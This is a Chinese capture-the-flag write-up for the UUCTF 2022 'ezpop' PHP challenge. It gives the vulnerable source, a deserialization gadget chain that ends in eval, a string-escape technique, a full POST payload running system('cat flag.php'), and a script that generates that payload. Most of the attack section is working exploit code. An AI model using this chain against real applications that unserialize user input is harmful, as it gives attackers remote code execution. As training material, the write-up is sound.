[UUCTF 2022 新生赛]ezpop

一、解题过程
二、其他WP
三、总结反思

一、解题过程

题目代码：

php"> <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
   		if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

分析
起点：UUCTF（__construct）
终点：youwant（rce）
链条：UUCTF（key='UUCTF';basedata=反序列化数据）-> nothing（a=&$n->b;t=$o）-> output（a=$y）-> youwant（cmd=命令）
注意点：1、UUCTF的basedata用来存放反序列化数据
　　　　2、参数是data，通过post传参
　　　　3、post的参数，需要通过字符串逃逸
针对此类题目，由于特点是把我们的序列化数据再次序列化，随便传个nb进去，看看到底经过二次序列化后的数据是什么样
```
php"><?php
	class UUCTF{
	    public $name,$key,$basedata,$ob;
	    function __construct($str){
	        $this->name=$str;
	    }
	}
	$pdata="nb";
	$data=serialize(new UUCTF($pdata));
	echo $data;
	$data_replace=str_replace("hacker","loveuu!",$data);
	//echo $data_replace;
?>
```
得到：O:5:“UUCTF”:4:{s:4:“name”;s:2:" nb ~~";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}~~
nb之前：O:5:'UUCTF':4:{s:4:'name';s:2:'
nb之后：';s:3:'key';N;s:8:'basedata';N;s:2:'ob';N;}
而nb就是我们可以操作的地方
假设我们前面做的再好，比如构造好了包含basedata的序列化代码
　　但是最后这段插入的位置是在nb那里，只会执行nb之后的 s:8:‘basedata’;N;
　　所以我们需要把nb之后的所有给逃逸掉，重点在于把basedata重构

根据分析，先把database的序列化代码写出来（特别注意，这里要base64_encode，而不是urlencode）

php"><?php
	class output{
	    public $a;
	}
	class nothing{
	    public $a;
	    public $b;
	    public $t;
	}
	class youwant{
	    public $cmd;
	}
	
	$o = new output();
	$n = new nothing();
	$y = new youwant();
	$n->a=&$n->b;
	$n->t=$o;
	$o->a=$y;
	$y->cmd="system('cat flag.php');";
	//echo serialize($n);
	echo base64_encode(serialize($n));
?>

得到：
Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

再构造完整的语句，也就是第二步得到的nb后，将key设为UUCTF、basedata设为第四步得到的base64编码
";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
变成
";s:3:"key”;s:5:"UUCTF";s:8:“basedata”;s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:“ob”;N;}

要使这些语句能够正确反序列化，需要进行逃逸，共236个字符
hacker = 6字符　->　loveuu! = 7字符　　——　　经过变化后可以逃逸一个字符
使用工具：在线文本重复工具得到236个hacker拼接在前

php">payload=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}

二、其他WP

2022 UUCTF Web
直接利用脚本生成payload，更快，但是我估计我想不到

php"><?php
//flag in flag.php
error_reporting(0);
class output{
     public $a;
}
class nothing{
     public $a;
     public $b;
     public $t;
     function __wakeup(){
     $this->a="";
     }
     function __destruct(){
     $this->b=$this->t;
     die($this->a);
     }
}
class youwant{
     public $cmd="system('cat flag.php');";
}
$A = new nothing();
$A->a = &$A->b;
$A->t = new output();
$A->t->a = new youwant();
$basedata = base64_encode(serialize($A));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($data);$i++)
     $hacker .= 'hacker';
echo $hacker.$data;
?>